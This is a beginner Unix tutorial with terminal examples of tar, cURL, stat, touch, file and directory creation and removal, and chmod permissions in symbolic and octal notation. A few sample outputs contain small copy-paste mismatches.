To extract file from a archive you would use the ‘-x’ option. This tells tar to extract all the files in the archive to the current directory. The ‘-v’ option tell tar to be verbose and output the file it is extracting to the directory.

tar -xvf file.tar

sam@asus:~/unix% tar -xvf output.tar
5MB.zip
docs/
docs/script.sh
docs/file.txt
sam@asus:~/unix%  

Tar allows you to choose the directory where you want to extract the contents of the archive with the ‘-C’ option.

sam@asus:~/unix% mkdir test
sam@asus:~/unix% tar -xf output.tar -C /home/sam/unix/test
sam@asus:~/unix% ls -l /home/sam/unix/test
total 5124
-rw-rw-r-- 1 sam sam 5242880 Jun  2  2008 5MB.zip
drwxrwxr-- 2 sam sam    4096 Apr  1 19:20 docs
sam@asus:~/unix% 

Be sure and create the directory before extracting in to it. If you do not create the directory first you will get a ‘No such file or directory’ error.

Viewing the contents of a tar file

You can also view the contents of a tar archive without having to decompress the file by using the ‘-t’ option. The ‘-t’ option tells tar list all files in the archive for viewing.

tar -tf file.tar

sam@asus:~/unix% tar -tf output.tar 
5MB.zip
sam@asus:~/unix% 

Append a new file to an archive

To append a new file to the end of the archive you would use the ‘-r’ option. The ‘-r’ option tells tar to append the listed file or directory to the END of the archive.

tar -rf file.tar file1 file2 file3...

sam@asus:~/unix% tar -rf output.tar file1.txt
sam@asus:~/unix% tar -tf output.tar
5MB.zip
file1.txt
sam@asus:~/unix% 

Delete a file from a archive

Deleting a file from a archive is done by using the ‘--delete’ option plus the file or directory to be removed.

tar -f file.tar --delete file.txt

sam@asus:~/unix% tar -f output.tar --delete file1.txt
sam@asus:~/unix% tar -tf output.tar
5MB.zip
sam@asus:~/unix% 

Append a tar file to another tar file

Tar gives you the ability to append another tar file to the current tar archive with the ‘-A’ option. Tar does not appended the whole archive file itself, but the contents of the archive. The ‘directory.tar’ archive contained file from the docs/ directory.

tar -Af destination.tar source.tar

sam@asus:~/unix% tar -Af output.tar directory.tar
sam@asus:~/unix% tar -tf output.tar 
5MB.zip
docs/
docs/script.sh
docs/file.txt
sam@asus:~/unix% 

Update newer files within the archive

You can update files within a tar archive with a newer version of the file by specifying the ‘-u’ option.

tar -uf file.tar file1 file2 file3...

sam@asus:~/unix% echo "AAABBBCCC" >docs/file.txt
sam@asus:~/unix% tar -uf output.tar docs/file.txt
sam@asus:~/unix% tar -tf output.tar
5MB.zip
docs/
docs/script.sh
docs/file.txt
docs/file1.txt
sam@asus:~/unix% 

Basic cURL usage with examples

cURL is a handy tool which allows you to transfer or download files to and from a server. The cURL utility supports a whole host of protocols but today we will only be covering HTTP.

When you invoke ‘cURL’ from the command line with no options and just a URL it will retrieve the web page and return its contents on screen. ‘cURL’ uses the HTTP GET method by default.

sam@asus:~/unix% curl http://127.0.0.1/index.html
<html>
<head><title></title></head>
<body>
<h1>Hello, World!</h1>
<p>This is a test page<p>
</body>
</html>
sam@asus:~/unix% 

Retrieving a file with cURL is really easy. The ‘-o’ or ‘-O’ options allow you to transfer a file from a remote server to your local computer.

sam@asus:~/unix% curl -O http://ipv4.download.thinkbroadband.com/5MB.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5120k  100 5120k    0     0  1217k      0  0:00:04  0:00:04 --:--:-- 1217k
sam@asus:~/unix% 

or

sam@asus:~/unix% curl -o 5-MB-FILE.zip http://ipv4.download.thinkbroadband.com/5MB.zip
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5120k  100 5120k    0     0  1085k      0  0:00:04  0:00:04 --:--:-- 1085k
sam@asus:~/unix% 

cURL gives you to open to specify a particular HTTP method such as GET or POST with the ‘--request’ option.

sam@asus:~/unix% curl --request GET http://127.0.0.1/index.html
<html>
<head><title></title></head>
<body>
<h1>Hello, World!</h1>
<p>This is a test page<p>
</body>
</html>
sam@asus:~/unix% 

To get HTTP Header information using a ‘HEAD’ from the URL requested the ‘-I’ option is used.

sam@asus:~/unix% curl -I http://127.0.0.1/index.html
HTTP/1.1 200 OK
Date: Wed, 03 Apr 2019 00:58:22 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 03 Apr 2019 00:33:23 GMT
ETag: "6c-5859566b61b0c"
Accept-Ranges: bytes
Content-Length: 108
Vary: Accept-Encoding
Content-Type: text/html
sam@asus:~/unix% 

If you wanted to construct your own HTTP Header, cURL gives you the ability to do so with the ‘-H’ option. The -H option requires a string with the format of “header-name: value”. For instance if you would like to add an additional HTTP header of “Test: Value” you would request the URL as so:

sam@asus:~/unix% curl -H "Test: Value" http://127.0.0.1/index.html
<html>
<head><title></title></head>
<body>
<h1>Hello, World!</h1>
<p>This is a test page<p>
</body></html>
sam@asus:~/unix% 

To send a HTTP POST request with cURL a few additional arguments are needed. The ‘-H’ or header argument and the data to be sent with the ‘-d’ argument. Note, we also included the ‘-v’ or verbose argument to get the request and response headers to check for errors.

sam@asus:/var/www/html% curl http://127.0.0.1/post.php -v -H "Content-Type: application/x-www-form-urlencoded" 
-d 'fname=john&lname=doe&mesg=unixisfun'
*   Trying 127.0.0.1...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> POST /post.php HTTP/1.1
> Host: 127.0.0.1
> User-Agent: curl/7.47.0
> Accept: */*
> Content-Type: application/x-www-form-urlencoded
> Content-Length: 35
> 
* upload completely sent off: 35 out of 35 bytes
< HTTP/1.1 200 OK
< Content-Type: application/x-www-form-urlencoded
< Date: Wed, 03 Apr 2019 01:53:53 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 35
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
Hello jon doe!, unixisfun * Closing connection 0
sam@asus:/var/www/html% 

in the ‘-H’ option we specified the ‘Content-type’ header as ‘application/x-www-form-urlencoded’. cURL also supports multipart/form-data requests. The ‘-d’ option specifies the POST body content which is ‘fname=john&lname=doe&mesg=unixisfun’.

cURL also comes with the ability to use a proxy when retrieving data from a server.

sam@asus:~/unix% curl -v --proxy 94.232.126.225:35445 http://www.acme.com/
*   Trying 94.232.126.225...
* Connected to 94.232.126.225 (94.232.126.225) port 35445 (#0)
> GET http://www.acme.com/ HTTP/1.1
> Host: www.acme.com
> User-Agent: curl/7.47.0
> Accept: */*
> Proxy-Connection: Keep-Alive
> 
< HTTP/1.1 200 OK
< Date: Wed, 03 Apr 2019 21:21:19 GMT
< Expires: -1
< Cache-Control: private, max-age=0
< Content-Type: text/html; charset=ISO-8859-1
< P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."
< Server: gws
< X-XSS-Protection: 0
< X-Frame-Options: SAMEORIGIN
< Set-Cookie: 1P_JAR=2019-04-03-21; expires=Fri, 03-May-2019 21:21:19 GMT; path=/; domain=.acme.com
< Set-Cookie: NID=180=IPr5TDaCP3AF5ZEoBOKm01A1unSo; expires=Thu, 03-Oct-2019 21:21:19 GMT; path=/; domain=.acme; HttpOnly
< Accept-Ranges: none
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< 
<
<html>
<head><title></title></head>
<body>
<h1>Hello, World!</h1>
<p>This is a test page<p>
</body></html>
sam@asus:~/unix% 

UNIX stat command with examples

The UNIX stat command is a utility which allows us to search a file or directories inode information to retrieve certain attributes about that file or directory. The command comes with an option '-f' or '--format=[value]' where you define format specifiers for viewing inode file properties.

By default when running the stat utility against a file or directory it will output a lot of information about the file.

sam@asus:~/unix% stat file.txt
  File: 'file.txt'
  Size: 17         Blocks: 8          IO Block: 4096   regular file
Device: b301h/45825d Inode: 788042      Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2019-04-03 15:50:49.286143171 -0600
Modify: 2019-04-03 15:51:07.000699885 -0600
Change: 2019-04-03 15:51:07.000699885 -0600
 Birth: -
sam@asus:~/unix% 

General File Properties

File type

To view a files file type you would use the '%F' format.

sam@asus:~/unix% stat --format=%F file.txt
regular file
sam@asus:~/unix% 

Total Size (bytes)

To view a files size you would use the '%s' format.

sam@asus:~/unix% stat --format=%s file.txt
17
sam@asus:~/unix% 

File name

To view the filename of a file you would use the '%n' format.

sam@asus:~/unix% stat --format=%n file.txt
file.txt
sam@asus:~/unix% 

Inode number

To view a files inode number you would use the '%i" format.

sam@asus:~/unix% stat --format=%i file.txt
788042
sam@asus:~/unix% 

Mount point

To view the mount point of a file you would use the '%m' format

sam@asus:~/unix% stat --format=%m file.txt
/
sam@asus:~/unix% 

User and Group information

User ID

To view the first User ID use the '%u' format

sam@asus:~/unix% stat --format=%u file.txt
1000
sam@asus:~/unix% 

Username

To view the files owner username use the '%U' format

sam@asus:~/unix% stat --format=%U file.txt
sam
sam@asus:~/unix% 

Group ID

To view the Group ID of the file use the '%g' format

sam@asus:~/unix% stat --format=%g file.txt
1000
sam@asus:~/unix%

Group Name

To view the files Group Name use the '%G' format

sam@asus:~/unix% stat --format=%G file.txt
sam
sam@asus:~/unix%

File access and creation

Octal Permissons

To view a files permissons in Octal notation use the '%a' format

sam@asus:~/unix% stat --format=%a file.txt
664
sam@asus:~/unix% 

Symbolic Permissons

To view a files permissons in Symbolic notation use the '%A' format

sam@asus:~/unix% stat --format=%A file.txt
-rw-rw-r--
sam@asus:~/unix% 

Creation Time

To view a files Creation time use the '%w' format. here the '-' means unknown.

sam@asus:~/unix% stat --format=%w file.txt
-
sam@asus:~/unix% 

Last Access Time

To view a files Last Access time use the '%x' format

sam@asus:~/unix% stat --format=%x file.txt
2019-04-03 15:50:49.286143171 -0600
sam@asus:~/unix% 

Modified Time

To view a files Last Modified time use the '%y' format

sam@asus:~/unix% stat --format=%y file.txt
2019-04-03 15:51:07.000699885 -0600
sam@asus:~/unix% 

Last Status Change

To view a files Last Status Change use the '%z' format

sam@asus:~/unix% stat --format=%z file.txt
2019-04-03 15:51:07.000699885 -0600
sam@asus:~/unix% 

UNIX file system and its structure

The file system in UNIX can be thought of as a inverted tree structure. at its base of 'root' is the directory '/' from which all other directories and files branch out and reside. each of these directories have their special purpose, but we will only cover a few.

You may also note that your directory tree looks different than the one displayed. That is because the directories and files included on install vary from distribution to distribution, but the ones we cover should be included in most if not all distributions of UNIX.

So back to the file system and its structure. we said it represent sort of an inverted tree, so the root directory or ‘/’ is at the top of the tree and the branches which grow down are various system and user defined directories.

(root directory)
     "/"
      O
      O
      O
 /bin-|-/cdrom  
 /etc-|-/lib     
 /mnt-|-/proc  
 /run-|-/srv  
 /tmp-|-/var
 /opt-|-/root 
/boot-|-/dev    
/home-|-/media  
/sbin-|-/sys  
      |-/usr
      v
      v

Directories within directories are called ‘sub’ directories where each of these sub-directories can have their own sub-tree.

(root directory)
    "/"
     o
     o
     o
     ...
     |-/etc
     |-/tmp
     |-/usr
     v   |  (sub-directories)
     v   |-bin
         |-local
         |-etc
         v
         v

To be honest directories are nothing but files in UNIX. It views directories as a file which contains other files. In fact it is said that “Everything in UNIX is a file” which is true for the most part. If its not a file then its more than likely a running process

Files, directories and special files

Files in UNIX are everywhere. But there are six basic file types which UNIX uses and recognizes. The files types of Ordinary, Directories, Special, Pipes, Sockets and Symbolic links. We will only discuss three of the six of the file types available and they are:

Ordinary files
Directories
Special Files

Ordinary files are things like text and images files, programs used to store information. Directories like we discussed earlier are files which contain other files. They simply store the files on the system. Special Files are files which are used in conjunction with physical devices such as hard drives and CD-roms.

Ordinary Files

The ‘ls’ command stands for ‘list’. It is the way to view directories and files on a UNIX system.

sam@asus:~/unix% ls
file1.txt  file1.txt.tar  file2.txt  file2.txt.gz
sam@asus:~/unix%

The ‘ls’ command has options you can use with it such as ‘-l’ which lists files and directories.

sam@asus:~/unix% ls -l
total 16
-rw-rw-r-- 1 sam sam   40 Mar 28 18:28 file1.txt
-rw-rw-r-- 1 sam sam 2048 Mar 28 18:29 file1.txt.tar
-rw-rw-r-- 1 sam sam  164 Mar 28 18:30 file2.txt
-rw-rw-r-- 1 sam sam   30 Mar 28 18:29 file2.txt.gz
sam@asus:~/unix%

The command ‘ls -l’ display a lot of information to the user. Lets dive in and explore the output of the command we just ran.

-rw-rw-r-- 1 sam sam   40 Mar 28 18:28 file1.txt
(0)   (1) (2) (3)  (4)  (5)  (6)     (7)

0) these are the permission that the files has
1) number of links that point to this file
2) displays the user name
3) displays the group name
4) display the file size in bytes
5) displays the date the file was created
6) displays the time the file was created
7) displays the name of the file

You can also use ‘ls -a’ this list ALL files and directories.

sam@asus:~/unix% ls -a
.  ..  file1.txt  file1.txt.tar  file2.txt  file2.txt.gz
sam@asus:~/unix%

Each file has associated with it metadata contained in what is called an 'inode' and each file has a serial number so to speak called an inode number. These inode stores information about the files or directory in question. The information stored in an inode relates to certain attributes of a file such as permissions, type of file and access modes.

You can view the metadata contained in an inode for a file by using the ‘stat’ command.

sam@asus:~/unix% stat file1.txt
  File: 'file1.txt'
  Size: 0          Blocks: 0          IO Block: 4096   regular empty file
Device: b301h/45825d Inode: 784844      Links: 1
Access: (0664/-rw-rw-r--)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2019-04-02 11:47:22.053599898 -0600
Modify: 2019-04-02 11:47:22.053599898 -0600
Change: 2019-04-02 11:47:22.053599898 -0600
 Birth: -
sam@asus:~/unix% 

Directories and path names

In order to traverse directories on a UNIX system we use the command ‘cd’. The ‘cd’ command stands for change directory and is a very simple command to use.

One thing to realize is that there are to types of path names on a UNIX system, Absolute and Relative. Absolute path names tell you how far you are from the root directory ‘/’. Relative path names are with respect to your current working directory.

To change directory to an Absolute path with respect to the root ‘/’ directory, you would issue a command like so:

sam@asus:~/unix% cd /home/sam/unix/docs
sam@asus:~/unix/docs% pwd
/home/sam/unix/docs
sam@asus:~/unix/docs% 

To change directory to a Relative path with respect to your current working directory the ‘cd’ command can be used like this:

sam@asus:~/unix% cd docs/
sam@asus:~/unix/docs% pwd
/home/sam/unix/docs
sam@asus:~/unix/docs% 

The important thing to realize here when working with directories and paths is the ‘/’ character represents a directory within a path name. For instance, the path ‘/home/sam/unix’ is an absolute path name. If a path name starts with a leading ‘/’, then its an absolute path. If it is missing the leading ‘/’ then the path is relative to your current working directory.

Since directories are also considered files, they too have their own inode and number. Directories are nothing more than a collection of names used for inodes.

sam@asus:~/unix% stat docs/
  File: 'docs/'
  Size: 4096       Blocks: 8          IO Block: 4096   directory
Device: b301h/45825d Inode: 816253      Links: 2
Access: (0774/drwxrwxr--)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2019-04-01 19:24:01.874213664 -0600
Modify: 2019-04-01 19:20:33.096379662 -0600
Change: 2019-04-01 19:21:58.415268437 -0600
 Birth: -
sam@asus:~/unix% 

Special Files

Special files or device files are used for input/output in a UNIX system. They consist of two types: block and character devices. The block special files transfers data in large chunks of a fixed sized block. Character devices transfer data or characters one at a time.

Character devices are things like Serial Ports or Parallel ports like that used with printers. Block devices consist of things like hard drives and USB drives. An example of a block device would be your hard drive where your system resides.

You can list all block devices on your system with the ‘lsblk’ command.

sam@asus:~/unix% lsblk
NAME         MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
mmcblk0boot0 179:8    0    4M  1 disk 
zram0        252:0    0  5.7G  0 disk [SWAP]
mmcblk0boot1 179:16   0    4M  1 disk 
mmcblk0      179:0    0 14.7G  0 disk 
└─mmcblk0p1  179:1    0 14.7G  0 part /
sam@asus:~/unix%

UNIX file and directory creation and deletion

The creation of files and directories in UNIX are pretty straight forward. UNIX provides us with four command line utilities we can use to create any file or directory on the system. The commands ‘touch’, ‘rm’, ‘mkdir’ and ‘rmdir’.

Creating Files on a UNIX system

In order to create a file on our system we can issue the touch command. The format of the command is touch [options] files. To create a empty file we could type the following:

sam@asus:~/unix% touch file_1
sam@asus:~/unix% ls -l
-rw-rw-r-- 1 sam sam     0 Mar 31 09:06 file_1
sam@asus:~/unix% 

The file was created with the default file permissions set by the ‘umask’ command set in the configuration file ~/.bashrc.

Change a files Access, Modify and Change times with touch command

The touch command also gives us the option to modify file attributes such as file access and modification times. In order to view file attributes for a particular file we can use the ‘stat’ command.

sam@asus:~/unix% stat file2.txt
  File: 'file2.txt'
  Size: 164        Blocks: 8          IO Block: 4096   regular file
Device: b301h/45825d Inode: 788056      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2019-03-28 18:30:07.613561814 -0600
Modify: 2019-03-28 18:30:07.631561380 -0600
Change: 2019-04-01 13:14:12.001132357 -0600
 Birth: -
sam@asus:~/unix% 

We see three fields indicated in the output of the stat command, Access, Modify and Change. The Access time of a file means the last time the file was read. The Modify time of a file means the last time the files content was changed. While the Change time of the file means the last time the files was updated when some of the files attributes have changed.

Modifying the Access and Modify times of a file

The ‘touch -t’ command allows us to change both the Access and Modify times of a file. In order to modify these values you must first specify a date in the format of [year][month][day][time]. The date will be using is 2016/04/20 @ 9:00 o'clock.

sam@asus:~/unix% touch -t 201604200900 file2.txt
sam@asus:~/unix% stat file2.txt
  File: 'file2.txt'
  Size: 164        Blocks: 8          IO Block: 4096   regular file
Device: b301h/45825d Inode: 788056      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2016-04-20 09:00:00.000000000 -0600
Modify: 2016-04-20 09:00:00.000000000 -0600
Change: 2019-04-02 10:17:06.020620970 -0600
 Birth: -
sam@asus:~/unix% 

As you can see both the access and modify times are altered to the new value we set with the touch command.

Modifying the Access time of a file

Sometimes its handy just to modify the access time of a file. The access time of a file shows when the last time the file was accessed or read by a user. You combined the ‘-a’ option with the ‘-t’ option to set a new access time for the file.

sam@asus:~/unix% touch -at 201204221000 file2.txt
sam@asus:~/unix% stat file2.txt
  File: 'file2.txt'
  Size: 164        Blocks: 8          IO Block: 4096   regular file
Device: b301h/45825d Inode: 788056      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2012-04-22 10:00:00.000000000 -0600
Modify: 2016-04-20 09:00:00.000000000 -0600
Change: 2019-04-02 10:18:20.830778672 -0600
 Birth: -
sam@asus:~/unix% 

The access time changed from 2016-04-16 to 2012-04-22 giving our file its new access time.

Changing the Modify time of a file

The Modify time of a file tells us the last time the content of the file was changed. Again just as with the ‘-a’ option, we pair ‘-m’ option with the ‘-t’ option to set our new file modify time.

sam@asus:~/unix% touch -mt 201007041000 file2.txt
sam@asus:~/unix% stat file2.txt
  File: 'file2.txt'
  Size: 164        Blocks: 8          IO Block: 4096   regular file
Device: b301h/45825d Inode: 788056      Links: 1
Access: (0775/-rwxrwxr-x)  Uid: ( 1000/     sam)   Gid: ( 1000/     sam)
Access: 2012-04-22 10:00:00.000000000 -0600
Modify: 2010-07-04 10:00:00.000000000 -0600
Change: 2019-04-02 10:19:13.222474179 -0600
 Birth: -
sam@asus:~/unix% 

We changed the Modify time of the file to 2016-05-04 from 2010-07-04.

Removing files on a UNIX system.

To remove files from out system we can issue the ‘rm’ command. One important prerequisite is that, you the user must have ‘execute’ permissions in they directory where the file resides. For more information on permissions you can read UNIX file and directory permissions.

sam@asus:~/unix% rm file_1 
sam@asus:~/unix% ls file_1
ls: cannot access 'dir2/': No such file or directory
sam@asus:~/unix%

Removing directories and sub-directories

The ‘rm -r’ command tells the system to remove files recursively. What that means is to apply the ‘rm’ command to all files, directories and sub-directories.

sam@asus:~/unix% ls -l dir2/
total 4
-rw-rw-r-- 1 sam sam    0 Apr  2 11:55 file1.txt
-rw-rw-r-- 1 sam sam    0 Apr  2 11:55 file2.txt
-rw-rw-r-- 1 sam sam    0 Apr  2 11:55 file3.txt
drwxrwxr-x 2 sam sam 4096 Apr  2 11:49 subdir1
sam@asus:~/unix% rm -r dir2/
sam@asus:~/unix% ls -l dir2/
ls: cannot access 'dir2/': No such file or directory
sam@asus:~/unix% 

Creating Directories on a UNIX system

In order to create directories we need to use the ‘mkdir’ command. This command allows for the user to create directories again with the default permissions set by the umask command in our ./bashrc file located in our home directory.

sam@asus:~/unix% mkdir test1
sam@asus:~/unix% ls -l
drwxrwxr-x 2 sam sam  4096 Mar 31 09:42 test1
sam@asus:~/unix% 

The ‘mkdir -m’ command also give you the option to set the directory permissions for the newly created directory. The default permissions on a new directory are ‘777’ and are set by the umask value for that user.

sam@asus:~/unix% mkdir -m 775 dir1/
sam@asus:~/unix% ls -l
drwxrwxr-x 2 sam sam  4096 Apr  2 12:02 dir1
sam@asus:~/unix% stat --format=%a dir1/
775
sam@asus:~/unix% 

Removing Directories on a UNIX system

Removing directories on are system are just as simple. The ‘rmdir’ command removes a directory or directories from the system we specify. One caveat with this command is that in order to be successful in remove the directories you specify, they must all be empty and contain no file or sub-directories.

sam@asus:~/unix% rmdir test1
sam@asus:~/unix% ls -l test1/
ls: cannot access 'dir2/': No such file or directory
sam@asus:~/unix%

UNIX file and directory permissons with CHMOD examples

UNIX files permissions come in classes and types. There are three classes: user, group, others and three types (read, write, execute). The classes are groups of users, while the types are permissions granted to those users. UNIX permissions also come in two types of notation, Symbolic and Octal.

In order to change access modes (read,write or execute) granted to the any User class, we can use the ‘chmod’ command. The chmod command allows a user to set permissions on a directory or file in symbolic or octal notion. The owner of the file is the only one allowed to chmod a file or directory unless you are the ‘root’ user.

CHMOD using Symbolic Notation

For Symbolic notation they are broken up in the three sets of the characters represented the permission granted to each user class. The characters ‘r’ is for the ability to read a file, while the ‘w’ character signifies the ability to modify or write a file. The ‘x’ character for execution of a file. The character ‘-’ denotes no permission granted for the file or directory to that user, group or any others.

User classes

u – User Class (Owner of the file)
g – Group Class (Users in the files or directories Group Class)
o – Others Class (All other users not in the Group Class)
a – All Classes (applies to all Users Classes)

File Access Types

r – Read access to the file or directory
w – Modify access to the file or directory
x – Execute access to the file or directory

Let say you created a file with with the default permission set and you want to give the Group Class execute permissions.

-rw-rw-rw-  1 sam sam   164 Mar 28 18:30 file2.txt

To change the permissions for the Group class with chmod you would specify which User Class you want to modify and then the permissions you want to grant to that Class. The ‘+’ means to add to, while the ‘-’ mean to take away from.

sam@asus:~/unix% chmod g+x file2.txt
sam@asus:~/unix% ls -l
-rw-rwxrw- 1 sam sam   164 Mar 28 18:30 file2.txt
sam@asus:~/unix% 

What the ‘g+x’ means is to grant ‘execute’ permissions to the files Group Class. You can have multiple combinations of the permissions you want set with the chmod command. For instance, lets say we would like to remove all read and write permissions from the Group Class and Others class.

sam@asus:~/unix% chmod go-rw file2.txt
sam@asus:~/unix%

The ‘go-rw’ means that all users in the Group and Others class will lose their ability to read and modify the file. Now only the owner of the file has permissions on the file. The file permissions should now look like this: ‘-rw-------’.

sam@asus:~/unix% ls -l
-rw-------  1 sam sam   164 Mar 28 18:30 file2.txt
sam@asus:~/unix% 

You can also ‘chain’ the permission modes by separating each user class by a comma ‘,’ which should give us a resulting file permission of ‘-rwxrw-r--’.

sam@asus:~/unix% ls -l
-rw---x---  1 sam sam   164 Mar 28 18:30 file2.txt
sam@asus:~/unix% chmod u=rwx,g=rw,o=r file2.txt
sam@asus:~/unix% ls -l
-rwxrw-r-- 1 sam sam   164 Mar 28 18:30 file2.txt
sam@asus:~/unix% 

What the ‘u=rwx’ says is grant the owner of this file read/write/execute permissions on the file. The ‘g=rw’ means assign read/write permissions to the users Group Class. While the ‘o=r’ says assign all others who are not in the users group read permission only.

A short cut you can use which is provided by the chmod command is the ‘a’ or all option. Instead of having to write a long chain of permissions for every user class, you can simply issue a command like so:

sam@asus:~/unix% chmod a-wx,a+r file2.txt
sam@asus:~/unix% ls -l
-r--r--r--  1 sam sam   164 Mar 28 18:30 file2.txt
sam@asus:~/unix% 

What this command does is remove from all users the ability to write and execute the file, while giving all users the ability to read the file. The resulting permissions set are ‘-r--r--r--’.

Setting directory permissions with chmod

You still have the three ‘rwx’ characters, but the mean something different. Its important to realize files which are in a directory may not have the same permissions as that directory.

Directory Permission Access Types

r – allows a user to view the directories contents
w – allows  a user to create and delete files in the directory
x – determines if the user can enter (cd) into the directory or run a program or script

Allowing users to ‘cd’ in to a directory

sam@asus:~/unix% ls -l
drwxrwxr-x  3 sam sam  4096 Mar 28 21:18 docs
sam@asus:~/unix%

If you look at the permissions on this directory, it is the default permission set when a directory is created. We want to change it so the Others class of users may not ‘cd’ in to the directory.

sam@asus:~/unix% chmod o-x docs/
sam@asus:~/unix% ls -l
drwxrwxr-- 3 sam sam  4096 Mar 28 21:18 docs
sam@asus:~/unix% 

We removed the ability for users in the Others class to enter in to the directory with the ‘o-x’ option. Now we’ll try to change in to the directory with a user in the Others class.

sam@asus:~/unix% su test
test@asus:/home/sam/unix$ cd docs
bash: cd: docs: Permission denied
test@asus:/home/sam/unix$ 

Thats the difference between the file access type of ‘x’ and the directory version. The 'x' also grants or denies the ability for a user to execute scripts in the directory.

sam@asus:~/unix% ls -l
drwxrwxr-- 2 sam sam  4096 Apr  1 19:20 docs
sam@asus:~/unix% ls -l docs/
-rw-rw-r-x 1 sam sam 0 Apr  1 19:20 script.sh
sam@asus:~/unix% su test
test@asus:/home/sam/unix$ docs/script.sh
bash: docs/script.sh: Permission denied
test@asus:/home/sam/unix$ 

Even though we have 'x' permissions on the file in the directory, we still can not execute it because of the directory 'x' permission not being set. This is because the 'x' permission also grants or denies a user the ability to execute a file or script in the current directory.

Listing the contents of a directory

The ‘r’ directory access type allows or disallows a user to list the contents of a directory.

sam@asus:~/unix% ls -l
drwxrwxr-x  3 sam sam  4096 Mar 28 21:18 docs
sam@asus:~/unix% chmod o-r docs/
sam@asus:~/unix% ls -l
drwxrwx--x 2 sam sam  4096 Apr  1 16:10 docs
sam@asus:~/unix% su test
test@asus:/home/sam/unix$ cd docs/
test@asus:/home/sam/unix/docs$ ls -l
ls: cannot open directory '.': Permission denied
test@asus:/home/sam/unix/docs$ 

The ability to create or delete a file in a directory.

sam@asus:~/unix% chmod o-w docs/
sam@asus:~/unix% ls -l 
drwxrwxr-x 2 sam sam  4096 Apr  1 16:10 docs
sam@asus:~/unix% ls -l docs/file.txt 
-rw-rw-rw- 1 sam sam 0 Apr  1 16:10 docs/file.txt
sam@asus:~/unix% 

This directory has the ‘write’ permission missing for the Others user class, but the file gives the Others class write permissions. What this means is that users in the Others class can not create or delete files in the directory. They can modify an already created file like ‘file.txt’ but they can not modify a file by creation or deletion.

test@asus:/home/sam/unix$ cd docs/
test@asus:/home/sam/unix/docs$ touch file2.txt
touch: cannot touch 'file2.txt': Permission denied 
test@asus:/home/sam/unix/docs$ echo "TEST" >file.txt
test@asus:/home/sam/unix/docs$ cat file.txt
TEST
test@asus:/home/sam/unix/docs$ rm file.txt
rm: cannot remove 'file.txt': Permission denied
test@asus:/home/sam/unix/docs$ 

CHMOD using Octal Notaion

chmod also allows for the setting of permission in octal notation. In Octal Notation there is a three digit octal code which breaks down in to the various user classes. The first digit represents the owner of the file. The second digit represents the Group Class and the third digit signifies the Others class.

The way Octal Notation Permission are granted is they are added up from a list of numbers which tell us what type of permission is to be applied. There are eight codes which can be applied in any combination of three codes (755, 777, etc) to the resulting file or directory.

0 – 000 - none 
1 – 001 - execute 
2 – 010 - write 
3 – 011 - write and execute
4 – 100 - read 
5 – 101 - read and execute
6 – 110 - read and write
7 – 111 - read, write and execute

In octal notation each of the three digits represents some binary value which corresponds to the permission types of Read, Write and Execute. The binary value ‘1’ says that the permission is allowed or granted, while the ‘0’ says the permissions are not granted to the file.

Another utility which is help when you are using Octal Notation is the ‘stat’ command. The stat command has the ability to show many different aspects of a file. Today we will be using the ‘%a’ format specifier which shows us the access rights of the file in Octal Notation.

sam@asus:~/unix% stat --format=%a file2.txt
444
sam@asus:~/unix% 

This is helpful when you see a directory that has its permissions in Symbolic Notation and you want to set absolute permissions in Octal. If we stat the file again using the '%A' format specifier, we will receive the result in Symbolic notation.

sam@asus:~/unix% stat --format=%A file2.txt
-r--r--r--
sam@asus:~/unix% 

So lets say we want to give the 'file2.txt' a permission of ‘775’ octal, if we reference the chart above we see that ‘7’ equates to read/write/execute permissions. The first 7 represents the Owner of the file. The second integer is again a ‘7’ which permits read/write/execute permissions to the Group class of users. While the last integer is a ‘5’ which indicated read and execute permissions for everyone else.

sam@asus:~/unix% chmod 775 file2.txt
sam@asus:~/unix% ls -l file2.txt
-rwxrwxr-x 1 sam sam 164 Mar 28 18:30 file2.txt
sam@asus:~/unix% 

We see here that the file change from an Octal permission of '444' which translated symbolically to ‘-r--r--r--’ to ‘-rwxrwxr-x’ which is '775' in Octal Notation